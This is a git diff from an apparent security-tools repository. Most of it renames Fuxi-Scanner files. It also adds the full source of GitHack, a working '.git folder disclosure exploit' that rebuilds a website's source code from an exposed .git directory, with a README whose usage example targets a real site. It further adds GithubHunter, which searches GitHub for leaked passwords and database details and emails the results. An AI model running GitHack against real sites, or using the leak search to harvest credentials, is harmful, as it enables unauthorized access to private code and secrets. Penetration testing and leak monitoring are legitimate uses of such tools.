a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/plugin-management.html b/Fuxi-Scanner/fuxi/templates/plugin-management.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/plugin-management.html rename to Fuxi-Scanner/fuxi/templates/plugin-management.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/port-scanner.html b/Fuxi-Scanner/fuxi/templates/port-scanner.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/port-scanner.html rename to Fuxi-Scanner/fuxi/templates/port-scanner.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/search.html b/Fuxi-Scanner/fuxi/templates/search.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/search.html rename to Fuxi-Scanner/fuxi/templates/search.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/subdomain-brute.html b/Fuxi-Scanner/fuxi/templates/subdomain-brute.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/subdomain-brute.html rename to Fuxi-Scanner/fuxi/templates/subdomain-brute.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/subdomain-list.html b/Fuxi-Scanner/fuxi/templates/subdomain-list.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/subdomain-list.html rename to Fuxi-Scanner/fuxi/templates/subdomain-list.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/system-config.html b/Fuxi-Scanner/fuxi/templates/system-config.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/system-config.html rename to Fuxi-Scanner/fuxi/templates/system-config.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/task-management.html b/Fuxi-Scanner/fuxi/templates/task-management.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/task-management.html rename to Fuxi-Scanner/fuxi/templates/task-management.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/vulnerability.html b/Fuxi-Scanner/fuxi/templates/vulnerability.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/vulnerability.html rename to Fuxi-Scanner/fuxi/templates/vulnerability.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/week-passwd-list.html b/Fuxi-Scanner/fuxi/templates/week-passwd-list.html similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/templates/week-passwd-list.html rename to Fuxi-Scanner/fuxi/templates/week-passwd-list.html diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/__init__.py b/Fuxi-Scanner/fuxi/views/__init__.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/__init__.py rename to Fuxi-Scanner/fuxi/views/__init__.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/acunetix_scanner.py b/Fuxi-Scanner/fuxi/views/acunetix_scanner.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/acunetix_scanner.py rename to Fuxi-Scanner/fuxi/views/acunetix_scanner.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/asset_management.py b/Fuxi-Scanner/fuxi/views/asset_management.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/asset_management.py rename to Fuxi-Scanner/fuxi/views/asset_management.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/auth_tester.py b/Fuxi-Scanner/fuxi/views/auth_tester.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/auth_tester.py rename to Fuxi-Scanner/fuxi/views/auth_tester.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/authenticate.py b/Fuxi-Scanner/fuxi/views/authenticate.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/authenticate.py rename to Fuxi-Scanner/fuxi/views/authenticate.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/dashboard.py b/Fuxi-Scanner/fuxi/views/dashboard.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/dashboard.py rename to Fuxi-Scanner/fuxi/views/dashboard.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/index.py b/Fuxi-Scanner/fuxi/views/index.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/index.py rename to Fuxi-Scanner/fuxi/views/index.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/lib/__init__.py b/Fuxi-Scanner/fuxi/views/lib/__init__.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/lib/__init__.py rename to Fuxi-Scanner/fuxi/views/lib/__init__.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/lib/get_title.py b/Fuxi-Scanner/fuxi/views/lib/get_title.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/lib/get_title.py rename to Fuxi-Scanner/fuxi/views/lib/get_title.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/lib/mongo_db.py b/Fuxi-Scanner/fuxi/views/lib/mongo_db.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/lib/mongo_db.py rename to Fuxi-Scanner/fuxi/views/lib/mongo_db.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/lib/parse_target.py b/Fuxi-Scanner/fuxi/views/lib/parse_target.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/lib/parse_target.py rename to Fuxi-Scanner/fuxi/views/lib/parse_target.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/__init__.py b/Fuxi-Scanner/fuxi/views/modules/__init__.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/__init__.py rename to Fuxi-Scanner/fuxi/views/modules/__init__.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/acunetix_scanner/__init__.py b/Fuxi-Scanner/fuxi/views/modules/acunetix_scanner/__init__.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/acunetix_scanner/__init__.py rename to Fuxi-Scanner/fuxi/views/modules/acunetix_scanner/__init__.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/acunetix_scanner/awvs_api.py b/Fuxi-Scanner/fuxi/views/modules/acunetix_scanner/awvs_api.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/acunetix_scanner/awvs_api.py rename to Fuxi-Scanner/fuxi/views/modules/acunetix_scanner/awvs_api.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/auth_tester/__init__.py b/Fuxi-Scanner/fuxi/views/modules/auth_tester/__init__.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/auth_tester/__init__.py rename to Fuxi-Scanner/fuxi/views/modules/auth_tester/__init__.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/auth_tester/auth_scanner.py b/Fuxi-Scanner/fuxi/views/modules/auth_tester/auth_scanner.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/auth_tester/auth_scanner.py rename to Fuxi-Scanner/fuxi/views/modules/auth_tester/auth_scanner.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/auth_tester/hydra_plugin.py b/Fuxi-Scanner/fuxi/views/modules/auth_tester/hydra_plugin.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/auth_tester/hydra_plugin.py rename to Fuxi-Scanner/fuxi/views/modules/auth_tester/hydra_plugin.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/discovery/__init__.py b/Fuxi-Scanner/fuxi/views/modules/discovery/__init__.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/discovery/__init__.py rename to Fuxi-Scanner/fuxi/views/modules/discovery/__init__.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/discovery/asset_discovery.py b/Fuxi-Scanner/fuxi/views/modules/discovery/asset_discovery.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/discovery/asset_discovery.py rename to Fuxi-Scanner/fuxi/views/modules/discovery/asset_discovery.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/port_scanner/__init__.py b/Fuxi-Scanner/fuxi/views/modules/port_scanner/__init__.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/port_scanner/__init__.py rename to Fuxi-Scanner/fuxi/views/modules/port_scanner/__init__.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/port_scanner/nmap_scanner.py b/Fuxi-Scanner/fuxi/views/modules/port_scanner/nmap_scanner.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/port_scanner/nmap_scanner.py rename to Fuxi-Scanner/fuxi/views/modules/port_scanner/nmap_scanner.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/scanner/__init__.py b/Fuxi-Scanner/fuxi/views/modules/scanner/__init__.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/scanner/__init__.py rename to Fuxi-Scanner/fuxi/views/modules/scanner/__init__.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/scanner/parse_plugin.py b/Fuxi-Scanner/fuxi/views/modules/scanner/parse_plugin.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/scanner/parse_plugin.py rename to Fuxi-Scanner/fuxi/views/modules/scanner/parse_plugin.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/scanner/poc_scanner.py b/Fuxi-Scanner/fuxi/views/modules/scanner/poc_scanner.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/scanner/poc_scanner.py rename to Fuxi-Scanner/fuxi/views/modules/scanner/poc_scanner.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/subdomain/__init__.py b/Fuxi-Scanner/fuxi/views/modules/subdomain/__init__.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/subdomain/__init__.py rename to Fuxi-Scanner/fuxi/views/modules/subdomain/__init__.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/subdomain/domain_brute.py b/Fuxi-Scanner/fuxi/views/modules/subdomain/domain_brute.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/modules/subdomain/domain_brute.py rename to Fuxi-Scanner/fuxi/views/modules/subdomain/domain_brute.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/plugin_management.py b/Fuxi-Scanner/fuxi/views/plugin_management.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/plugin_management.py rename to Fuxi-Scanner/fuxi/views/plugin_management.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/port_scanner.py b/Fuxi-Scanner/fuxi/views/port_scanner.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/port_scanner.py rename to Fuxi-Scanner/fuxi/views/port_scanner.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/settings.py b/Fuxi-Scanner/fuxi/views/settings.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/settings.py rename to Fuxi-Scanner/fuxi/views/settings.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/subdomain_brute.py b/Fuxi-Scanner/fuxi/views/subdomain_brute.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/subdomain_brute.py rename to Fuxi-Scanner/fuxi/views/subdomain_brute.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/vul_scanner.py b/Fuxi-Scanner/fuxi/views/vul_scanner.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi/views/vul_scanner.py rename to Fuxi-Scanner/fuxi/views/vul_scanner.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/fuxi_scanner.py b/Fuxi-Scanner/fuxi_scanner.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/fuxi_scanner.py rename to Fuxi-Scanner/fuxi_scanner.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/migration/DataModels b/Fuxi-Scanner/migration/DataModels similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/migration/DataModels rename to Fuxi-Scanner/migration/DataModels diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/migration/start.py b/Fuxi-Scanner/migration/start.py similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/migration/start.py rename to Fuxi-Scanner/migration/start.py diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/requirements.txt b/Fuxi-Scanner/requirements.txt similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/requirements.txt rename to Fuxi-Scanner/requirements.txt diff --git a/Fuxi-Scanner/Fuxi-Scanner-master/run.sh b/Fuxi-Scanner/run.sh similarity index 100% rename from Fuxi-Scanner/Fuxi-Scanner-master/run.sh rename to Fuxi-Scanner/run.sh diff --git a/GitHack-master/GitHack.py b/GitHack-master/GitHack.py new file mode 100644 index 0000000..4f419e7 --- /dev/null +++ b/GitHack-master/GitHack.py @@ -0,0 +1,93 @@ +#!/usr/bin/env python +# -*- encoding: utf-8 -*- + +import sys +import urllib2 +import os +import urlparse +import zlib +import threading +import Queue +import re +import time +from lib.parser import parse + + +if len(sys.argv) == 1: + msg = """ + +A `.git` folder disclosure exploit. By LiJieJie + +Usage: GitHack.py http://www.target.com/.git/ + +bug-report: my[at]lijiejie.com (http://www.lijiejie.com) +""" + print msg + sys.exit(0) + + +class Scanner(object): + def __init__(self): + self.base_url = sys.argv[-1] + self.domain = urlparse.urlparse(sys.argv[-1]).netloc.replace(':', '_') + if not os.path.exists(self.domain): + os.mkdir(self.domain) + print '[+] Download and parse index file ...' + data = urllib2.urlopen(sys.argv[-1] + '/index').read() + with open('index', 'wb') as f: + f.write(data) + self.queue = Queue.Queue() + for entry in parse('index'): + if "sha1" in entry.keys(): + self.queue.put((entry["sha1"].strip(), entry["name"].strip())) + self.lock = threading.Lock() + self.thread_count = 20 + self.STOP_ME = False + + def get_back_file(self): + while not self.STOP_ME: + try: + sha1, file_name = self.queue.get(timeout=0.5) + except: + break + for i in range(3): + try: + folder = '/objects/%s/' % sha1[:2] + data = urllib2.urlopen(self.base_url + folder + sha1[2:]).read() + data = zlib.decompress(data) + data = re.sub('blob \d+\00', '', data) + target_dir = os.path.join(self.domain, os.path.dirname(file_name) ) + if target_dir and not os.path.exists(target_dir): + os.makedirs(target_dir) + with open( os.path.join(self.domain, file_name) , 'wb') as f: + f.write(data) + self.lock.acquire() + print '[OK] %s' % file_name + self.lock.release() + break + except urllib2.HTTPError, e: + if str(e).find('HTTP Error 404') >=0: break + except Exception, e: + pass + self.exit_thread() + + def exit_thread(self): + self.lock.acquire() + self.thread_count -= 1 + self.lock.release() + + def scan(self): + for i in range(self.thread_count): + t = threading.Thread(target=self.get_back_file) + t.start() + + +s = Scanner() +s.scan() +try: + while s.thread_count > 0: + time.sleep(0.1) +except KeyboardInterrupt, e: + s.STOP_ME = True + time.sleep(1.0) + print 'User Aborted.' \ No newline at end of file diff --git a/GitHack-master/README.md b/GitHack-master/README.md new file mode 100644 index 0000000..10577e8 --- /dev/null +++ b/GitHack-master/README.md @@ -0,0 +1,38 @@ +GitHack += + +GitHack is a `.git` folder disclosure exploit. + +It rebuild source code from .git folder while keep directory structure unchanged. + +GitHack是一个.git泄露利用脚本，通过泄露的.git文件夹下的文件，重建还原工程源代码。 + +渗透测试人员、攻击者，可以进一步审计代码，挖掘：文件上传，SQL注射等安全漏洞。 + +## 脚本的工作原理 ## + +* 解析.git/index文件，找到工程中所有的： ( 文件名，文件sha1 ) +* 去.git/objects/ 文件夹下下载对应的文件 +* zlib解压文件，按原始的目录结构写入源代码 + +## 它的优点 ## + +* 速度快，默认20个工作线程 +* 尽量还原所有的源代码，缺失部分文件不影响脚本工作 +* 脚本不需要执行额外的git命令，All you need is python +* 脚本无需浏览目录 + +## 可能的改进## + +* 存在文件被gc打包到git\objects\pack的情况，稍后可测试下看能否直接获取并解压这个文件，还原源代码 + +##用法示例## + GitHack.py http://www.openssl.org/.git/ + +##反馈## +* my[at]lijiejie.com +* [http://www.lijiejie.com](http://www.lijiejie.com) + +##Thanks## +Thanks for sbp's great work, I used his .git index parser [gin - a Git index file parser](https://github.com/sbp/gin) + diff --git a/SQLiScanner/SQLiScanner-master/SQLiScanner/__init__.py b/GitHack-master/lib/__init__.py similarity index 100% rename from SQLiScanner/SQLiScanner-master/SQLiScanner/__init__.py rename to GitHack-master/lib/__init__.py diff --git a/GitHack-master/lib/__init__.pyc b/GitHack-master/lib/__init__.pyc new file mode 100644 index 0000000..d51dde9 Binary files /dev/null and b/GitHack-master/lib/__init__.pyc differ diff --git a/GitHack-master/lib/parser.py b/GitHack-master/lib/parser.py new file mode 100644 index 0000000..1b717fd --- /dev/null +++ b/GitHack-master/lib/parser.py @@ -0,0 +1,135 @@ +#!/usr/bin/env python +# +# https://github.com/git/git/blob/master/Documentation/technical/index-format.txt +# + +import binascii +import collections +import mmap +import struct +import sys + + +def check(boolean, message): + if not boolean: + import sys + print "error: " + message + sys.exit(1) + + +def parse(filename, pretty=True): + with open(filename, "rb") as o: + f = mmap.mmap(o.fileno(), 0, access=mmap.ACCESS_READ) + + def read(format): + # "All binary numbers are in network byte order." + # Hence "!" = network order, big endian + format = "! " + format + bytes = f.read(struct.calcsize(format)) + return struct.unpack(format, bytes)[0] + + index = collections.OrderedDict() + + # 4-byte signature, b"DIRC" + index["signature"] = f.read(4).decode("ascii") + check(index["signature"] == "DIRC", "Not a Git index file") + + # 4-byte version number + index["version"] = read("I") + check(index["version"] in {2, 3}, + "Unsupported version: %s" % index["version"]) + + # 32-bit number of index entries, i.e. 4-byte + index["entries"] = read("I") + + yield index + + for n in range(index["entries"]): + entry = collections.OrderedDict() + + entry["entry"] = n + 1 + + entry["ctime_seconds"] = read("I") + entry["ctime_nanoseconds"] = read("I") + if pretty: + entry["ctime"] = entry["ctime_seconds"] + entry["ctime"] += entry["ctime_nanoseconds"] / 1000000000 + del entry["ctime_seconds"] + del entry["ctime_nanoseconds"] + + entry["mtime_seconds"] = read("I") + entry["mtime_nanoseconds"] = read("I") + if pretty: + entry["mtime"] = entry["mtime_seconds"] + entry["mtime"] += entry["mtime_nanoseconds"] / 1000000000 + del entry["mtime_seconds"] + del entry["mtime_nanoseconds"] + + entry["dev"] = read("I") + entry["ino"] = read("I") + + # 4-bit object type, 3-bit unused, 9-bit unix permission + entry["mode"] = read("I") + if pretty: + entry["mode"] = "%06o" % entry["mode"] + + entry["uid"] = read("I") + entry["gid"] = read("I") + entry["size"] = read("I") + + entry["sha1"] = binascii.hexlify(f.read(20)).decode("ascii") + entry["flags"] = read("H") + + # 1-bit assume-valid + entry["assume-valid"] = bool(entry["flags"] & (0b10000000 << 8)) + # 1-bit extended, must be 0 in version 2 + entry["extended"] = bool(entry["flags"] & (0b01000000 << 8)) + # 2-bit stage (?) + stage_one = bool(entry["flags"] & (0b00100000 << 8)) + stage_two = bool(entry["flags"] & (0b00010000 << 8)) + entry["stage"] = stage_one, stage_two + # 12-bit name length, if the length is less than 0xFFF (else, 0xFFF) + namelen = entry["flags"] & 0xFFF + + # 62 bytes so far + entrylen = 62 + + if entry["extended"] and (index["version"] == 3): + entry["extra-flags"] = read("H") + # 1-bit reserved + entry["reserved"] = bool(entry["extra-flags"] & (0b10000000 << 8)) + # 1-bit skip-worktree + entry["skip-worktree"] = bool(entry["extra-flags"] & (0b01000000 << 8)) + # 1-bit intent-to-add + entry["intent-to-add"] = bool(entry["extra-flags"] & (0b00100000 << 8)) + # 13-bits unused + # used = entry["extra-flags"] & (0b11100000 << 8) + # check(not used, "Expected unused bits in extra-flags") + entrylen += 2 + + if namelen < 0xFFF: + entry["name"] = f.read(namelen).decode("utf-8", "replace") + entrylen += namelen + else: + # Do it the hard way + name = [] + while True: + byte = f.read(1) + if byte == "\x00": + break + name.append(byte) + entry["name"] = b"".join(name).decode("utf-8", "replace") + entrylen += 1 + + padlen = (8 - (entrylen % 8)) or 8 + nuls = f.read(padlen) + check(set(nuls) == set(['\x00']), "padding contained non-NUL") + + yield entry + + f.close() + + + + + diff --git a/GitHack-master/lib/parser.pyc b/GitHack-master/lib/parser.pyc new file mode 100644 index 0000000..080e36f Binary files /dev/null and b/GitHack-master/lib/parser.pyc differ diff --git a/Github-Hunter-master/GithubHunter.py b/Github-Hunter-master/GithubHunter.py new file mode 100644 index 0000000..9beb3c8 --- /dev/null +++ b/Github-Hunter-master/GithubHunter.py @@ -0,0 +1,219 @@ +# -*- coding: utf-8 -*- + +import configparser +import os +import re +import smtplib +import sqlite3 +import sys +import traceback +from email import encoders +from email.header import Header +from email.mime.base import MIMEBase +from email.mime.multipart import MIMEMultipart +from email.mime.text import MIMEText +from email.utils import formataddr, parseaddr +from time import gmtime, sleep, strftime + +import requests +from lxml import etree +from lxml.html import tostring +from tqdm import tqdm + + +''' +工具名:GithubHunter +作者：Allen_Zhang +主要用途：本工具主要是查询Github中可能泄露的代码，用户名，密码，数据库信息，网络结构信息等 +实现方法：通过登陆Github后，搜索关键词，然后呈现数据 +''' + +def login_github(username,password):#登陆Github + #初始化参数 + login_url = 'https://github.com/login' + session_url = 'https://github.com/session' + try: + #获取session + s = requests.session() + resp = s.get(login_url).text + dom_tree = etree.HTML(resp) + key = dom_tree.xpath('//input[@name="authenticity_token"]/@value') + user_data = { + 'commit': 'Sign in', + 'utf8': '✓', + 'authenticity_token': key, + 'login': username, + 'password': password + } + #发送数据并登陆 + s.post(session_url,data=user_data) + s.get('https://github.com/settings/profile') + return s + except Exception as e: + print('产生异常，请检查网络设置及用户名和密码') + error_Record(str(e), traceback.format_exc()) + +def hunter(gUser, gPass, keywords):#根据关键词获取想要查询的内容 + + print('''\033[1;34;0m ##### # # + # # # ##### # # # # ##### # # # # # # ##### ###### ##### + # # # # # # # # # # # # # ## # # # # # + # #### # # ###### # # ##### ####### # # # # # # ##### # # + # # # # # # # # # # # # # # # # # # # ##### + # # # # # # # # # # # # # # # ## # # # # + ##### # # # # #### ##### # # #### # # # ###### # # V1.2 + Created by Allen \r\n\r\n\033[0m''') + + global codes + global tUrls + try: + #代码搜索 + s = login_github(gUser,gPass) + print('登陆成功，正在检索泄露信息.......') + sleep(1) + codes = [] + tUrls = [] + #新加入2条正则匹配，第一条匹配搜索出来的代码部分；第二条则进行高亮显示关键词 + pattern_code = re.compile(r'
(.*?)
', re.S) + pattern_sub = re.compile(r'', re.S) + for keyword in keywords: + for page in tqdm(range(1,7)): + #更改搜索排序方式的url，收录可能存在泄漏的url还是使用xpath解析 + search_code = 'https://github.com/search?o=desc&p=' + str(page) + '&q=' + keyword +'&s=indexed&type=Code' + resp = s.get(search_code) + results_code = resp.text + dom_tree_code = etree.HTML(results_code) + #获取存在信息泄露的链接地址 + Urls = dom_tree_code.xpath('//div[@class="flex-auto min-width-0 col-10"]/a[2]/@href') + for url in Urls: + url = 'https://github.com' + url + tUrls.append(url) + #获取代码部分，先获得整个包含泄露代码的最上层DIV对象，再把对象进行字符化，便于使用正则进行匹配泄露代码部分的div + results = dom_tree_code.xpath('//div[@class="code-list-item col-12 py-4 code-list-item-public "]') + for div in results: + result = etree.tostring(div, pretty_print=True, method="html") + code = str(result, encoding='utf-8') + #如果存在
此标签则匹配泄露的关键代码部分，不存在则为空。 + if '
' in code: + data = pattern_code.findall(code) + codes.append(pattern_sub.sub('', data[0])) + else: + codes.append(' ') + + return tUrls, codes + + except Exception as e: + #如发生错误，则写入文件并且打印出来 + error_Record(str(e), traceback.format_exc()) + print(e) + +def insert_DB(url, code): + try: + conn = sqlite3.connect('hunter.db') + cursor = conn.cursor() + cursor.execute('CREATE TABLE IF NOT EXISTS Baseline (url varchar(1000) primary key, code varchar(10000))') + cursor.execute('INSERT OR REPLACE INTO Baseline (url, code) values (?,?)', (url, code)) + cursor.close + conn.commit() + conn.close() + except Exception as e: + print("数据库操作失败！\n") + error_Record(str(e), traceback.format_exc()) + print(e) + +def compare_DB_Url(url): + try: + con = sqlite3.connect('hunter.db') + cur = con.cursor() + cur.execute('SELECT url from Baseline where url = ?', (url,)) + results = cur.fetchall() + cur.close() + con.commit() + con.close() + return results + except Exception as e: + error_Record(str(e), traceback.format_exc()) + print(e) + +def error_Record(error, tb): + try: + if os.path.exists('error.txt'): + with open('error.txt', 'a', encoding='utf-8') as f: + f.write(strftime("%a, %d %b %Y %H:%M:%S",gmtime()) + "-" + "Exception Record: " + error + '\n' + "具体错误信息如下：\n" +tb + '\r\n') + else: + with open('error.txt', 'w', encoding='utf-8') as f: + f.write(strftime("%a, %d %b %Y %H:%M:%S",gmtime()) + "-" + "Exception Record: " + error + '\n' + "具体错误信息如下：\n" +tb + '\r\n') + except Exception as e: + print(e) + +def send_mail(host, username, password, sender, receivers, message): + def _format_addr(s): + name,addr = parseaddr(s) + return formataddr((Header(name,'utf-8').encode(),addr)) + + msg = MIMEText(message, 'html', 'utf-8') + subject = 'Github信息泄露监控通知' + msg['Subject'] = Header(subject, 'utf-8').encode() + msg['From'] = _format_addr('Github信息泄露监控<%s>' % sender) + msg['To'] = ','.join(receivers) + try: + smtp_obj = smtplib.SMTP(host, 25) + smtp_obj.login(username, password) + smtp_obj.sendmail(sender, receivers, msg.as_string()) + print('邮件发送成功！') + smtp_obj.close() + except Exception as err: + error_Record(str(err), traceback.format_exc()) + print(err) + +if __name__ == '__main__': + config = configparser.ConfigParser() + config.read('info.ini') + g_User = config['Github']['user'] + g_Pass = config['Github']['password'] + host = config['EMAIL']['host'] + m_User = config['EMAIL']['user'] + m_Pass = config['EMAIL']['password'] + m_sender = config['SENDER']['sender'] + receivers = [] + for k in config['RECEIVER']: + receivers.append(config['RECEIVER'][k]) + keywords = [] + #组合关键词，keyword + payload,两者之间加入“+”号，符合Github搜索语法 + for keyword in config['KEYWORD']: + for payload in config['PAYLOADS']: + keywords.append(config['KEYWORD'][keyword] + '+' + config['PAYLOADS'][payload]) + + message = 'Dear all

未发现任何新增敏感信息！' + tUrls, codes= hunter(g_User, g_Pass, keywords) + target_codes = [] + #第一次运行会查找是否存在数据文件，如果不存在则新建，存在则进行新增条目查找 + if os.path.exists('hunter.db'): + print("存在数据库文件，进行新增数据查找......") + #拆分关键词，在泄露的代码中查找关键词和payload.如果两者都存在则进行下一步数据库查找 + for keyword in keywords: + payload = keyword.split('+') + for i in range(0, len(tUrls)): + if (payload[0] in codes[i]) and (payload[1] in codes[i]): + #如果数据库中返回的值为空，则说明该条目在数据库中不存在，那么添加到target_codes里面用户发送邮件，并且添加到数据库中 + if not compare_DB_Url(tUrls[i]): + target_codes.append('


' + '链接：' + tUrls[i] + '

') + target_codes.append('简要代码如下：
' + codes[i] + '
') + insert_DB(tUrls[i], codes[i]) + else: + print("未发现数据库文件，创建并建立基线......") + for keyword in keywords: + payload = keyword.split('+') + for i in range(0, len(tUrls)): + #关键词和payload同时存在则加入到target_codes,并写入数据库 + if (payload[0] in codes[i]) and (payload[1] in codes[i]): + target_codes.append('


' + '链接：' +tUrls[i] + '

') + target_codes.append('简要代码如下：
' + codes[i] + '
') + insert_DB(tUrls[i], codes[i]) + #当target_codes有数据时，则进行邮件预警 + if target_codes: + warning = ''.join(target_codes) + result = 'Dear all

发现信息泄露! ' + '一共发现{}条'.format(int(len(target_codes)/2)) + warning + send_mail(host, m_User, m_Pass, m_sender, receivers, result) + else: + send_mail(host, m_User, m_Pass, m_sender, receivers, message) diff --git a/Github-Hunter-master/README.md b/Github-Hunter-master/README.md new file mode 100644 index 0000000..c05a700 --- /dev/null +++ b/Github-Hunter-master/README.md @@ -0,0 +1,55 @@ +# Github-Hunter v2.1 +This tool is for sensitive information searching on Github. +It's new version of this tool. +## Requirements +Python 3.x
+## OS Support +Linux,MacOS,Windows
+## Installation +1.`git clone https://github.com/Hell0W0rld0/Github-Hunter.git`
+Notice:Github Hunter only supports Python3.x, if you are using Python2.x,do some tests before use it
+2.`cd Github-Hunter`
+3.`pip install virtualenv`
+4.`virtualenv --python=/usr/local/bin/python3 env`
+5.`source venv/bin/activate`
+6.`pip install -r requirements`
+## Settings +Befor use it,you must change parameters in `info.ini.example`,then change filename(just delete `.example`) +### Example +`[KEYWORD]`
+`keyword1 = your main keyword here`
+`keyword2 = your main keyword here`
+`keyword3 = your main keyword here`
+`...etc`
+
+`[EMAIL]`
+`host = Email server`
+`user = Email User`
+`password = Email password`
+
+`[SENDER]`
+`sender = The email sender`
+
+`[RECEIVER]`
+`receiver1 = Email receiver No.1`
+`receiver2 = Email receiver No.2`
+
+`[Github]`
+`user = Github Username`
+`password = Github Password`
+
+`[PAYLOADS]`
+`p1 = Payload 1`
+`p2 = Payload 2`
+`p3 = Payload 3`
+`p4 = Payload 4`
+`p5 = Payload 5`
+`p6 = Payload 6`
